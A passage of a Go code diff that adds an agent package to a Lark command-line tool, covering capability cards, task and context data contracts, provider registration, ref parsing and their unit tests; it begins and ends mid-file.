// rt=nil: the guaranteed-offline card (caps + registration + static
// metadata). Describe enrichment is never exercised here.
return agent.BuildCard(context.Background(), prov, spec, agentID, nil)
}
card := buildCard()
if card.Provider != scheme {
t.Errorf("conformance: Card.Provider should be %q, got %q", scheme, card.Provider)
}
if card.AgentID != sampleAgentID {
t.Errorf("conformance: Card.AgentID should echo the input %q, got %q", sampleAgentID, card.AgentID)
}
if card.ProviderLabel != prov.Label {
t.Errorf("conformance: Card.ProviderLabel should equal the registered Label %q, got %q", prov.Label, card.ProviderLabel)
}
if !reflect.DeepEqual(card.Identity, prov.Identities) {
t.Errorf("conformance: Card.Identity should match the registered Identities, expected %+v got %+v", prov.Identities, card.Identity)
}
if card.AgentIDSource != prov.AgentIDSource {
t.Errorf("conformance: Card.AgentIDSource should equal the registered value %q, got %q", prov.AgentIDSource, card.AgentIDSource)
}
if card.Parameters == nil {
t.Error("conformance: Card.Parameters must not be nil (always emitted, empty is [])")
}
if !card.Capabilities.TaskGet {
t.Error("conformance: task_get must be true (GetTask is a mandatory core hook)")
}
// Single-sourcing: two independent offline builds must DeepEqual.
if card2 := buildCard(); !reflect.DeepEqual(card, card2) {
t.Errorf("conformance: two offline BuildCard results should DeepEqual (single source), got\n%+v\nvs\n%+v", card, card2)
}
})
if prov.Kind() == agent.KindCatalog {
t.Run("enumeration", func(t *testing.T) {
list := prov.ListCatalog()
wantRef := scheme + ":" + sampleAgentID
found := false
for i, a := range list {
r, err := agent.ParseRef(a.AgentRef)
if err != nil {
t.Errorf("conformance: ListCatalog[%d].AgentRef %q should be parseable: %v", i, a.AgentRef, err)
continue
}
if r.Scheme != scheme {
t.Errorf("conformance: ListCatalog[%d].AgentRef %q scheme should be %q, got %q", i, a.AgentRef, scheme, r.Scheme)
}
if a.Name == "" {
t.Errorf("conformance: ListCatalog[%d] (%s) Name must not be empty", i, a.AgentRef)
}
if a.AgentRef == wantRef {
found = true
}
}
if !found {
t.Errorf("conformance: sampleAgentID should appear in the enumeration (expected %q), got %+v", wantRef, list)
}
// stable, sorted by AgentRef.
list2 := prov.ListCatalog()
if !reflect.DeepEqual(list, list2) {
t.Errorf("conformance: two ListCatalog results should DeepEqual (stable), got\n%+v\nvs\n%+v", list, list2)
}
for i := 1; i < len(list); i++ {
if strings.Compare(list[i-1].AgentRef, list[i].AgentRef) > 0 {
t.Errorf("conformance: ListCatalog should be sorted by AgentRef, got %q before %q", list[i-1].AgentRef, list[i].AgentRef)
}
}
})
}
}

172
internal/agent/card.go Normal file
View File

@@ -0,0 +1,172 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import "context"
// capability key constants (the JSON key names in capabilities, also the
// capability identifiers used by Supports / capabilityError). Only capabilities
// that "can change the AI's next command line and are currently deliverable" are
// exposed.
const (
CapTaskGet = "task_get"
CapTaskList = "task_list"
CapTaskCancel = "task_cancel"
CapInputRequired = "input_required"
CapFileInput = "file_input"
CapArtifactDownload = "artifact_download"
// The three multi-turn (context) verbs are independently wired, so each has
// its own capability bit — a provider may support listing sessions without
// supporting get or delete. (There is no umbrella "multi_turn" bit: a single
// flag cannot honestly represent three separately-deliverable hooks.)
CapContextList = "context_list"
CapContextGet = "context_get"
CapContextDelete = "context_delete"
)
// Capabilities is the closed set of capabilities: making it a struct means an
// omitted field is an explicit false and a typo is a compile error. Fields are
// ordered by json tag alphabetically so the emitted key order is stable.
type Capabilities struct {
ArtifactDownload bool `json:"artifact_download"`
ContextDelete bool `json:"context_delete"`
ContextGet bool `json:"context_get"`
ContextList bool `json:"context_list"`
FileInput bool `json:"file_input"`
InputRequired bool `json:"input_required"`
TaskCancel bool `json:"task_cancel"`
TaskGet bool `json:"task_get"`
TaskList bool `json:"task_list"`
}
// AgentCard is a remote agent's capability card (schema v2): provider metadata,
// the supported capability matrix, identity precondition declarations, and
// parameter / skill declarations (scopes are not in the card; they are internal
// registration data for preflight only).
type AgentCard struct {
Provider string `json:"provider"`
ProviderLabel string `json:"provider_label"`
AgentID string `json:"agent_id"`
Name string `json:"name,omitempty"` // dynamic card only
Description string `json:"description,omitempty"`
Capabilities Capabilities `json:"capabilities"`
Identity []IdentitySpec `json:"identity"`
Parameters []CardParam `json:"parameters"` // always emitted (empty is [])
AgentIDSource string `json:"agent_id_source"`
Skills []CardSkill `json:"skills,omitempty"`
}
// DeriveCapabilities computes the capability matrix from which AgentSpec hooks
// are wired — the single source of truth. The method-backed capabilities are
// derived from the corresponding func field being non-nil (implement it =
// support it); file_input / input_required are behavioral flags with no backing
// hook and are read straight from the spec. Send/GetTask are mandatory (Register
// enforces), so task_get is always true.
func DeriveCapabilities(s *AgentSpec) Capabilities {
return Capabilities{
TaskGet: s.GetTask != nil,
TaskList: s.ListTasks != nil,
TaskCancel: s.CancelTask != nil,
ArtifactDownload: s.DownloadArtifact != nil,
ContextList: s.ListContexts != nil,
ContextGet: s.GetContext != nil,
ContextDelete: s.DeleteContext != nil,
FileInput: s.FileInput,
InputRequired: s.InputRequired,
}
}
// BuildCard synthesizes an agent's full Card: registration metadata from the
// Provider, the capability matrix from DeriveCapabilities (wired hooks), and the
// static per-agent metadata from the spec. When rt != nil AND the spec wires
// Describe, it best-effort enriches Name/Description/Parameters/Skills from the
// remote — a Describe error is swallowed so the card degrades to the offline
// (caps + static) version rather than hard-failing (the caps matrix is the
// primary value). Pass rt=nil for the guaranteed-offline path (card before
// config init, dry-run). A provider never assembles its own card or declares its
// own capability bools.
func BuildCard(ctx context.Context, p Provider, s *AgentSpec, agentID string, rt Runtime) *AgentCard {
card := &AgentCard{
Provider: p.Scheme,
ProviderLabel: p.Label,
AgentID: agentID,
Name: s.Name,
Description: s.Description,
Capabilities: DeriveCapabilities(s),
Identity: p.Identities,
Parameters: nonNilParams(s.Parameters),
AgentIDSource: p.AgentIDSource,
Skills: s.Skills,
}
if rt != nil && s.Describe != nil {
if info, err := s.Describe(ctx, rt); err == nil && info != nil {
if info.Name != "" {
card.Name = info.Name
}
if info.Description != "" {
card.Description = info.Description
}
if info.Parameters != nil {
card.Parameters = info.Parameters
}
if info.Skills != nil {
card.Skills = info.Skills
}
}
}
return card
}
// nonNilParams keeps Parameters always emitted (empty is [], never null).
func nonNilParams(p []CardParam) []CardParam {
if p == nil {
return []CardParam{}
}
return p
}
// CardParam is one input parameter declared by a Card (used for --param validation).
type CardParam struct {
Name string `json:"name"`
Type string `json:"type"`
Required bool `json:"required"`
Desc string `json:"desc,omitempty"`
}
// CardSkill is one skill / scenario declared by a Card (with example usages).
type CardSkill struct {
ID string `json:"id"`
Name string `json:"name,omitempty"`
Examples []string `json:"examples,omitempty"`
}
// Supports reports whether a capability is declared as supported (an unknown key
// or a nil card is treated as unsupported).
func (c *AgentCard) Supports(capKey string) bool {
if c == nil {
return false
}
switch capKey {
case CapArtifactDownload:
return c.Capabilities.ArtifactDownload
case CapFileInput:
return c.Capabilities.FileInput
case CapInputRequired:
return c.Capabilities.InputRequired
case CapContextList:
return c.Capabilities.ContextList
case CapContextGet:
return c.Capabilities.ContextGet
case CapContextDelete:
return c.Capabilities.ContextDelete
case CapTaskCancel:
return c.Capabilities.TaskCancel
case CapTaskGet:
return c.Capabilities.TaskGet
case CapTaskList:
return c.Capabilities.TaskList
default:
return false
}
}

152
internal/agent/card_test.go Normal file
View File

@@ -0,0 +1,152 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"encoding/json"
"testing"
"github.com/larksuite/cli/errs"
)
// fakeRT is a no-op Runtime for exercising BuildCard's rt != nil path.
type fakeRT struct{}
func (fakeRT) AgentID() string { return "" }
func (fakeRT) IsBot() bool { return false }
func (fakeRT) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
return nil, nil
}
func (fakeRT) CallMultipart(context.Context, string, string, map[string]string, []FilePart) (json.RawMessage, error) {
return nil, nil
}
func TestCardSupports(t *testing.T) {
c := &AgentCard{Capabilities: Capabilities{TaskCancel: false, ContextList: true}}
if c.Supports(CapTaskCancel) {
t.Error("task_cancel should not be supported")
}
if !c.Supports(CapContextList) {
t.Error("context_list should be supported")
}
if c.Supports("nonexistent") {
t.Error("unknown capability should be treated as unsupported")
}
// nil guard branch: a nil receiver is treated as unsupported; a zero-value Capabilities is all false.
var nilCard *AgentCard
if nilCard.Supports(CapContextList) {
t.Error("nil card should be treated as unsupported")
}
if (&AgentCard{}).Supports(CapContextList) {
t.Error("zero-value Capabilities should be treated as unsupported")
}
// Each capability constant must map to its own struct field (the switch has no gaps or mismatches).
all := &AgentCard{Capabilities: Capabilities{
ArtifactDownload: true, FileInput: true, InputRequired: true,
ContextList: true, ContextGet: true, ContextDelete: true,
TaskCancel: true, TaskGet: true, TaskList: true,
}}
for _, k := range []string{
CapArtifactDownload, CapFileInput, CapInputRequired,
CapContextList, CapContextGet, CapContextDelete,
CapTaskCancel, CapTaskGet, CapTaskList,
} {
if !all.Supports(k) {
t.Errorf("Supports(%q) should be true when all Capabilities are true", k)
}
}
}
// TestDeriveCapabilities pins the crown jewel: capability = wired-hook presence.
func TestDeriveCapabilities(t *testing.T) {
// Minimal (echo-like): only the core hooks + read verbs.
min := coreSpec("echo")
min.ListContexts = func(context.Context, Runtime) ([]ContextSummary, error) { return nil, nil }
c := DeriveCapabilities(&min)
if !c.TaskGet {
t.Error("task_get should be true (GetTask is a mandatory core hook)")
}
if !c.ContextList {
t.Error("context_list should be true (ListContexts wired)")
}
// The three context caps are independent: only ListContexts is wired here, so
// context_get / context_delete stay false (no umbrella multi_turn bit).
if c.TaskCancel || c.ArtifactDownload || c.TaskList || c.FileInput || c.InputRequired || c.ContextGet || c.ContextDelete {
t.Errorf("unwired capabilities should be false, got %+v", c)
}
// Full (reporter-like): everything wired / declared.
full := coreSpec("reporter")
full.ListTasks = func(context.Context, Runtime, string) ([]TaskSummary, error) { return nil, nil }
full.CancelTask = func(context.Context, Runtime, string) error { return nil }
full.ListContexts = func(context.Context, Runtime) ([]ContextSummary, error) { return nil, nil }
full.GetContext = func(context.Context, Runtime, string) (*ContextDetail, error) { return nil, nil }
full.DeleteContext = func(context.Context, Runtime, string) error { return nil }
full.DownloadArtifact = func(context.Context, Runtime, string, string) (*ArtifactData, error) { return nil, nil }
full.FileInput = true
full.InputRequired = true
c = DeriveCapabilities(&full)
if !(c.TaskGet && c.TaskList && c.TaskCancel && c.ContextList && c.ContextGet && c.ContextDelete && c.ArtifactDownload && c.FileInput && c.InputRequired) {
t.Errorf("a fully-wired spec should have every capability true, got %+v", c)
}
}
// TestBuildCardOffline pins that BuildCard with rt=nil fills registration
// metadata + derived caps + static per-agent metadata, always offline (Describe
// is never invoked without a runtime).
func TestBuildCardOffline(t *testing.T) {
prov := catalogProvider("nc", "a1")
prov.Identities = []IdentitySpec{{Type: IdentityBot, Precondition: "需要白名单"}}
prov.Catalog[0].Describe = func(context.Context, Runtime) (*CardInfo, error) {
return &CardInfo{Name: "REMOTE"}, nil // must NOT be called with rt=nil
}
spec := &prov.Catalog[0]
card := BuildCard(context.Background(), prov, spec, "a1", nil)
if card.Provider != "nc" || card.AgentID != "a1" {
t.Fatalf("provider/agent_id: %+v", card)
}
if card.ProviderLabel != prov.Label || card.AgentIDSource != prov.AgentIDSource {
t.Fatalf("registration metadata should be pre-filled: %+v", card)
}
if len(card.Identity) != 1 || card.Identity[0].Type != IdentityBot {
t.Fatalf("identity should come from the provider: %+v", card.Identity)
}
if card.Parameters == nil || len(card.Parameters) != 0 {
t.Fatalf("parameters should be empty but non-nil (always emit []): %#v", card.Parameters)
}
if !card.Capabilities.TaskGet {
t.Error("task_get should be derived true")
}
if card.Name != "name-a1" {
t.Errorf("offline card should use the static spec Name (not the rt=nil Describe), got %q", card.Name)
}
}
// TestBuildCardDynamicDescribe pins the rt != nil path: Describe enriches
// Name/Description when it succeeds, and a Describe error is swallowed so the
// card degrades to the offline version (best-effort).
func TestBuildCardDynamicDescribe(t *testing.T) {
prov := instanceProvider("dyn") // instance spec: no static Name
prov.Instance.Describe = func(context.Context, Runtime) (*CardInfo, error) {
return &CardInfo{Name: "Remote Name", Description: "Remote Desc"}, nil
}
card := BuildCard(context.Background(), prov, prov.Instance, "agt_x", fakeRT{})
if card.Name != "Remote Name" || card.Description != "Remote Desc" {
t.Errorf("rt != nil + Describe should enrich the card, got name=%q desc=%q", card.Name, card.Description)
}
// A Describe error degrades to the offline card (no enrichment), never fails.
prov.Instance.Describe = func(context.Context, Runtime) (*CardInfo, error) {
return nil, errs.NewInternalError(errs.SubtypeUnknown, "describe boom")
}
card = BuildCard(context.Background(), prov, prov.Instance, "agt_x", fakeRT{})
if card.Name != "" {
t.Errorf("a Describe error should be swallowed → offline card (instance has no static Name), got name=%q", card.Name)
}
if !card.Capabilities.TaskGet {
t.Error("caps should still be present on the degraded card")
}
}

110
internal/agent/contract.go Normal file
View File

@@ -0,0 +1,110 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
// AgentTask is the unified structure that task-family commands put into output.Envelope.Data.
type AgentTask struct {
TaskID string `json:"task_id"`
ContextID string `json:"context_id,omitempty"`
State TaskState `json:"state"`
IsTerminal bool `json:"is_terminal"`
CreatedAt string `json:"created_at,omitempty"` // ISO 8601; when the task was created (empty if the provider does not supply it)
UpdatedAt string `json:"updated_at,omitempty"` // ISO 8601; when the current status was recorded (aligns with A2A TaskStatus.timestamp)
Messages []Message `json:"messages,omitempty"`
Artifacts []Artifact `json:"artifacts,omitempty"`
InputRequired *InputRequired `json:"input_required,omitempty"`
}
// Message is one turn of an agent or user message, composed of several Parts.
type Message struct {
Role string `json:"role"` // "agent" | "user"
Parts []Part `json:"parts"`
}
// Part is one fragment of a message: text, file, or structured data.
type Part struct {
Type string `json:"type"` // "text" | "file" | "data"
Text string `json:"text,omitempty"`
// File/Data pass-through: file uses URL/Name, data uses Data.
Name string `json:"name,omitempty"`
URL string `json:"url,omitempty"`
Data interface{} `json:"data,omitempty"`
}
// Artifact is one artifact produced by a task (file / inline text), downloadable
// via URL.
//
// Its fields align with A2A's Artifact/FilePart, but only what a provider can
// truly deliver is populated (e.g. example only provides ID + Kind — the
// coarse-grained kind at the GetTask stage — plus Name/Mime at the download
// stage). Mime/Description/Size are placeholders under A2A semantics; if a
// provider does not yet supply them they are omitted via omitempty and lit up
// only once the provider can fill them, rather than creating empty shell fields
// that cannot be filled.
type Artifact struct {
ID string `json:"id"`
Kind string `json:"kind,omitempty"` // coarse-grained kind (image/file/...), a type hint before download
Name string `json:"name,omitempty"` // file name (with extension), helps choose the -o save name
Mime string `json:"mime,omitempty"` // content type (image/png…), empty if the provider does not supply it
Description string `json:"description,omitempty"`
Size int64 `json:"size,omitempty"` // byte count, 0 if the provider does not supply it
URL string `json:"url,omitempty"`
Text string `json:"text,omitempty"`
}
// InputRequired describes the input a task requests from the user while in the
// input_required state.
type InputRequired struct {
Prompt string `json:"prompt"`
Options []string `json:"options,omitempty"`
}
// TaskSummary is a single task summary in the task list output (and in a
// context's active_task). It carries just enough to triage without a full
// task get: state + when it last changed + a one-line content digest.
type TaskSummary struct {
TaskID string `json:"task_id"`
ContextID string `json:"context_id,omitempty"`
State TaskState `json:"state"`
IsTerminal bool `json:"is_terminal"`
UpdatedAt string `json:"updated_at,omitempty"` // ISO 8601; when the status was last recorded — the key for "most recent"
Summary string `json:"summary,omitempty"` // last agent message, ANSI-stripped + flattened + truncated; for input_required it is the pending prompt
}
// ContextSummary is a single context summary in the context list output. It is
// the conversation-layer rollup used to pick which conversation needs attention.
type ContextSummary struct {
ContextID string `json:"context_id"`
CreatedAt string `json:"created_at,omitempty"`
UpdatedAt string `json:"updated_at,omitempty"` // ISO 8601; last activity across the context's tasks
Title string `json:"title,omitempty"`
TaskCount int `json:"task_count"` // number of tasks in the context
AwaitingInput bool `json:"awaiting_input,omitempty"` // a task is paused in input_required/auth_required (needs the caller)
}
// ContextDetail is the context detail in the context get output. It is the
// conversation overview — metadata + a rollup + the single task the caller would
// most likely act on. The full task enumeration lives in `agent task list
// --context-id`, so ContextDetail deliberately does NOT embed the whole tasks[].
type ContextDetail struct {
ContextID string `json:"context_id"`
CreatedAt string `json:"created_at,omitempty"`
UpdatedAt string `json:"updated_at,omitempty"`
Title string `json:"title,omitempty"`
TaskCount int `json:"task_count"`
AwaitingInput bool `json:"awaiting_input,omitempty"`
ActiveTask *TaskSummary `json:"active_task,omitempty"` // the task with the latest updated_at (nil for an empty context)
}
// ArtifactData is the return value of DownloadArtifact: the URL type gives URL,
// the inline type gives Bytes. Name is the server-suggested file name (echoed
// back only as a suggested_name reference for the command layer); it is
// untrusted input and must never participate in constructing the local save
// path — the save path is always determined by -o/SafeOutputPath.
type ArtifactData struct {
Name string
Mime string
URL string
Bytes []byte
}

View File

@@ -0,0 +1,142 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"encoding/json"
"testing"
)
func TestAgentTaskJSON(t *testing.T) {
at := AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: StateInputRequired,
IsTerminal: false,
InputRequired: &InputRequired{Prompt: "按大区还是品类拆?", Options: []string{"region", "category"}}}
b, _ := json.Marshal(at)
var m map[string]interface{}
_ = json.Unmarshal(b, &m)
if m["state"] != "input_required" {
t.Errorf("state=%v", m["state"])
}
if _, ok := m["input_required"]; !ok {
t.Error("input_required should appear in the input_required state")
}
// unset artifacts should be omitted via omitempty
if _, ok := m["artifacts"]; ok {
t.Error("artifacts should be omitted via omitempty")
}
}
// TestAgentTaskTimestampsJSON pins the added lifecycle timestamps: created_at /
// updated_at are emitted when set and omitted via omitempty when empty.
func TestAgentTaskTimestampsJSON(t *testing.T) {
b, _ := json.Marshal(AgentTask{TaskID: "chat_1", State: StateCompleted,
CreatedAt: "2026-07-07T00:00:00Z", UpdatedAt: "2026-07-07T00:01:00Z"})
var m map[string]interface{}
_ = json.Unmarshal(b, &m)
if m["created_at"] != "2026-07-07T00:00:00Z" || m["updated_at"] != "2026-07-07T00:01:00Z" {
t.Errorf("created_at/updated_at should be emitted, got %v", m)
}
b, _ = json.Marshal(AgentTask{TaskID: "chat_1", State: StateWorking})
m = map[string]interface{}{}
_ = json.Unmarshal(b, &m)
if _, ok := m["created_at"]; ok {
t.Error("created_at should be omitted via omitempty when empty")
}
if _, ok := m["updated_at"]; ok {
t.Error("updated_at should be omitted via omitempty when empty")
}
}
// TestTaskSummaryJSON pins the enriched task-summary shape: updated_at + summary
// are emitted when set and omitted via omitempty when empty.
func TestTaskSummaryJSON(t *testing.T) {
b, _ := json.Marshal(TaskSummary{TaskID: "chat_1", ContextID: "sess_1",
State: StateCompleted, IsTerminal: true,
UpdatedAt: "2026-07-07T00:01:00Z", Summary: "报表已生成"})
var m map[string]interface{}
_ = json.Unmarshal(b, &m)
if m["updated_at"] != "2026-07-07T00:01:00Z" {
t.Errorf("updated_at should be emitted, got %v", m["updated_at"])
}
if m["summary"] != "报表已生成" {
t.Errorf("summary should be emitted, got %v", m["summary"])
}
b, _ = json.Marshal(TaskSummary{TaskID: "x", State: StateWorking})
m = map[string]interface{}{}
_ = json.Unmarshal(b, &m)
if _, ok := m["summary"]; ok {
t.Error("summary should be omitted via omitempty when empty")
}
if _, ok := m["updated_at"]; ok {
t.Error("updated_at should be omitted via omitempty when empty")
}
}
// TestContextSummaryJSON pins the rollup shape: task_count ALWAYS appears (no
// omitempty, so a zero count stays explicit); awaiting_input is omitted when
// false; updated_at is carried.
func TestContextSummaryJSON(t *testing.T) {
b, _ := json.Marshal(ContextSummary{ContextID: "sess_1", TaskCount: 0})
var m map[string]interface{}
_ = json.Unmarshal(b, &m)
if _, ok := m["task_count"]; !ok {
t.Error("task_count must always be present (no omitempty), even when 0")
}
if _, ok := m["awaiting_input"]; ok {
t.Error("awaiting_input should be omitted via omitempty when false")
}
b, _ = json.Marshal(ContextSummary{ContextID: "sess_1",
UpdatedAt: "2026-07-07T00:01:00Z", TaskCount: 2, AwaitingInput: true})
m = map[string]interface{}{}
_ = json.Unmarshal(b, &m)
if tc, _ := m["task_count"].(float64); tc != 2 {
t.Errorf("task_count should be 2, got %v", m["task_count"])
}
if m["awaiting_input"] != true {
t.Errorf("awaiting_input should be true, got %v", m["awaiting_input"])
}
if m["updated_at"] != "2026-07-07T00:01:00Z" {
t.Errorf("updated_at should be emitted, got %v", m["updated_at"])
}
}
// TestContextDetailJSON pins that context detail NO LONGER embeds a full tasks[]:
// it carries task_count + awaiting_input + a single nested active_task (omitted
// when nil).
func TestContextDetailJSON(t *testing.T) {
b, _ := json.Marshal(ContextDetail{ContextID: "sess_1", TaskCount: 2, AwaitingInput: true,
ActiveTask: &TaskSummary{TaskID: "chat_1", State: StateInputRequired, Summary: "按大区还是品类拆?"}})
var m map[string]interface{}
_ = json.Unmarshal(b, &m)
if _, ok := m["tasks"]; ok {
t.Error("ContextDetail must NOT embed a full tasks[] anymore")
}
if _, ok := m["task_count"]; !ok {
t.Error("task_count must always be present")
}
if m["awaiting_input"] != true {
t.Errorf("awaiting_input should be true, got %v", m["awaiting_input"])
}
at, ok := m["active_task"].(map[string]interface{})
if !ok {
t.Fatalf("active_task should be a nested object, got %v", m["active_task"])
}
if at["summary"] != "按大区还是品类拆?" {
t.Errorf("active_task.summary should be carried, got %v", at["summary"])
}
// active_task is omitted for an empty context; awaiting_input stays omitted when false.
b, _ = json.Marshal(ContextDetail{ContextID: "empty", TaskCount: 0})
m = map[string]interface{}{}
_ = json.Unmarshal(b, &m)
if _, ok := m["active_task"]; ok {
t.Error("active_task should be omitted via omitempty when nil")
}
if _, ok := m["awaiting_input"]; ok {
t.Error("awaiting_input should be omitted via omitempty when false")
}
}

View File

@@ -0,0 +1,99 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import "context"
// SendInput is the input to send (Params has already passed Card validation).
type SendInput struct {
Text string
Files []string
Params map[string]string
ContextID string
TaskID string
}
// CardInfo is the per-agent descriptive metadata a provider supplies for its
// Card (everything the framework cannot fill from registration data or derive
// from capabilities): the display Name/Description, declared input Parameters,
// and Skills. It is returned by AgentSpec.Describe.
type CardInfo struct {
Name string
Description string
Parameters []CardParam
Skills []CardSkill
}
// Provider is one business domain (one scheme): registration metadata plus its
// agent set. It is a declarative value — registered from agent/register.go, not
// constructed via a factory. Exactly one of Catalog / Instance is set (Register
// enforces), which encodes the kind, so there is no separate Kind field to keep
// in sync.
type Provider struct {
Scheme string // ref prefix, e.g. "example"
Label string // `agent list` LABEL column
AgentIDSource string // where to get an agent_id (AI onboarding cue)
RequiredScopes []string // flat set; preflight is all-or-nothing
Identities []IdentitySpec // non-empty; Type ∈ {user,bot}
// Exactly one of these is set:
Catalog []AgentSpec // finite, offline-enumerable set (kind = catalog)
Instance *AgentSpec // single template for any runtime agent_id (kind = instance)
// ListAgents is the optional ONLINE enumeration hook — only meaningful for an
// instance provider whose platform has a "list my agents" endpoint. Wired ⇒
// `agent list <scheme>` enumerates via this call. A catalog provider leaves it
// nil (enumeration is derived offline from Catalog); an instance platform with
// only get-by-id and no list endpoint also leaves it nil (not enumerable).
// This is independent of AgentSpec.Describe: ListAgents = "which agents exist"
// (a list endpoint), Describe = "what one agent looks like" (get-by-id).
ListAgents func(ctx context.Context, rt Runtime) ([]AgentSummary, error)
}
// AgentSpec is the declarative unit for one agent: card metadata plus the verb
// hooks it implements. Capability is derived from which hooks are non-nil
// ("implement it = support it", see DeriveCapabilities), so the card and the
// behavior are single-sourced and cannot drift.
//
// - Catalog: each predefined agent is its own AgentSpec with its own wired
// hooks — two agents honestly differ in capability with zero bool matrix and
// zero per-id branching.
// - Instance: ONE template applied to every runtime agent_id; hooks read
// rt.AgentID() to know which agent they serve.
type AgentSpec struct {
ID string // catalog: required + unique; instance: MUST be empty
// Per-agent card metadata (static, read offline).
Name string
Description string
Parameters []CardParam
Skills []CardSkill
// Behavioral flags with no backing hook (the only capability bits not derived
// from a hook).
FileInput bool
InputRequired bool
// Core (Register asserts both non-nil for every spec).
Send func(ctx context.Context, rt Runtime, in SendInput) (*AgentTask, error)
GetTask func(ctx context.Context, rt Runtime, taskID string) (*AgentTask, error)
// Optional capability hooks (nil = unsupported; the framework gates on the nil
// field and returns a unified unsupported_capability before any network call,
// and derives the card matrix from which of these are wired).
ListTasks func(ctx context.Context, rt Runtime, contextID string) ([]TaskSummary, error)
CancelTask func(ctx context.Context, rt Runtime, taskID string) error
ListContexts func(ctx context.Context, rt Runtime) ([]ContextSummary, error)
GetContext func(ctx context.Context, rt Runtime, ctxID string) (*ContextDetail, error)
DeleteContext func(ctx context.Context, rt Runtime, ctxID string) error
DownloadArtifact func(ctx context.Context, rt Runtime, taskID, artifactID string) (*ArtifactData, error)
// Describe optionally supplies per-agent Card metadata (Name/Description/
// Parameters/Skills) and is the place to validate an unknown agent_id (return
// a typed error). It is invoked ONLY when a runtime is available (configured),
// so offline the card is always caps + registration metadata + the static
// fields above. A catalog spec typically leaves it nil and uses the static
// Name/Description; an instance provider wires it to fetch its card remotely.
Describe func(ctx context.Context, rt Runtime) (*CardInfo, error)
}

29
internal/agent/ref.go Normal file
View File

@@ -0,0 +1,29 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"errors"
"strings"
)
// ErrInvalidRef is the sentinel error for a malformed agent_ref (wrapped into a
// validation error by the caller).
var ErrInvalidRef = errors.New("agent_ref 格式应为 <provider>:<agent_id>")
// Ref is the identifier addressing a remote agent: <scheme>:<agent_id>, e.g. example:echo.
type Ref struct {
Scheme string
AgentID string
}
// ParseRef parses a ref string. On a malformed format it returns ErrInvalidRef
// (wrapped into a validation error by the caller).
func ParseRef(s string) (Ref, error) {
parts := strings.SplitN(s, ":", 2)
if len(parts) != 2 || parts[0] == "" || parts[1] == "" || strings.Contains(parts[1], ":") {
return Ref{}, ErrInvalidRef
}
return Ref{Scheme: parts[0], AgentID: parts[1]}, nil
}

View File

@@ -0,0 +1,24 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"errors"
"testing"
)
func TestParseRef(t *testing.T) {
r, err := ParseRef("example:agt_xxx")
if err != nil || r.Scheme != "example" || r.AgentID != "agt_xxx" {
t.Fatalf("got %+v err=%v", r, err)
}
}
func TestParseRefErrors(t *testing.T) {
for _, s := range []string{"", "example", "example:", ":agt", "example:agt:extra"} {
if _, err := ParseRef(s); !errors.Is(err, ErrInvalidRef) {
t.Errorf("ParseRef(%q) should return ErrInvalidRef, got err=%v", s, err)
}
}
}

174
internal/agent/registry.go Normal file
View File

@@ -0,0 +1,174 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"fmt"
"sort"
"strings"
"github.com/larksuite/cli/errs"
)
// ProviderKind is the closed set of provider forms, derived from whether a
// Provider set Catalog or Instance (exposed via Provider.Kind()).
type ProviderKind string
const (
// KindCatalog: the full agent set is known offline (Provider.Catalog).
KindCatalog ProviderKind = "catalog"
// KindInstance: agents are created on the platform at runtime, addressed by an
// unbounded agent_id (Provider.Instance).
KindInstance ProviderKind = "instance"
)
var providerRegistry = map[string]Provider{}
// Register records a provider (called from the agent/register.go aggregator,
// mirroring events/shortcuts). It is pure struct validation — no construction,
// no probe. Missing / invalid metadata is an integrator coding error and panics
// fail-fast (aligned with the sql.Register convention, including duplicate
// registration).
func Register(p Provider) {
switch {
case p.Scheme == "":
panic("agent: provider registration with empty Scheme")
case p.Label == "":
panic("agent: provider missing Label: " + p.Scheme)
case p.AgentIDSource == "":
panic("agent: provider missing AgentIDSource: " + p.Scheme)
case len(p.Identities) == 0:
panic("agent: provider missing Identities: " + p.Scheme)
}
if _, dup := providerRegistry[p.Scheme]; dup {
panic("agent: Register called twice for scheme: " + p.Scheme)
}
for _, id := range p.Identities {
if id.Type != IdentityUser && id.Type != IdentityBot {
panic("agent: provider invalid Identity Type (want user|bot): " + p.Scheme + ", got: " + string(id.Type))
}
}
hasCatalog, hasInstance := len(p.Catalog) > 0, p.Instance != nil
if hasCatalog == hasInstance {
panic("agent: provider must set exactly one of Catalog / Instance: " + p.Scheme)
}
if hasCatalog {
seen := make(map[string]bool, len(p.Catalog))
for i := range p.Catalog {
checkSpec(p.Scheme, &p.Catalog[i], true)
if seen[p.Catalog[i].ID] {
panic("agent: catalog duplicate entry ID for scheme " + p.Scheme + ": " + p.Catalog[i].ID)
}
seen[p.Catalog[i].ID] = true
}
} else {
checkSpec(p.Scheme, p.Instance, false)
}
providerRegistry[p.Scheme] = p
}
// checkSpec asserts the mandatory core hooks and the ID rule for one spec. The
// command layer dispatches Send/GetTask without a nil-check, so they must exist.
func checkSpec(scheme string, s *AgentSpec, catalog bool) {
if s.Send == nil {
panic("agent: spec missing core Send: " + scheme + ":" + s.ID)
}
if s.GetTask == nil {
panic("agent: spec missing core GetTask: " + scheme + ":" + s.ID)
}
if catalog && s.ID == "" {
panic("agent: catalog spec missing ID: " + scheme)
}
if !catalog && s.ID != "" {
panic("agent: instance template must have empty ID: " + scheme + ", got: " + s.ID)
}
}
// Info returns the registered provider for a scheme (ok=false if not registered).
func Info(scheme string) (Provider, bool) {
p, ok := providerRegistry[scheme]
return p, ok
}
// LookupSpec resolves the AgentSpec addressed by ref, fully offline: it parses
// the ref, finds the provider, and returns the matching spec (the instance
// template, or the catalog entry whose ID matches) plus the parsed agent_id (so
// callers need not re-parse for rt.AgentID() / the card). An unknown scheme or
// unknown catalog id returns a typed error (the command layer promotes
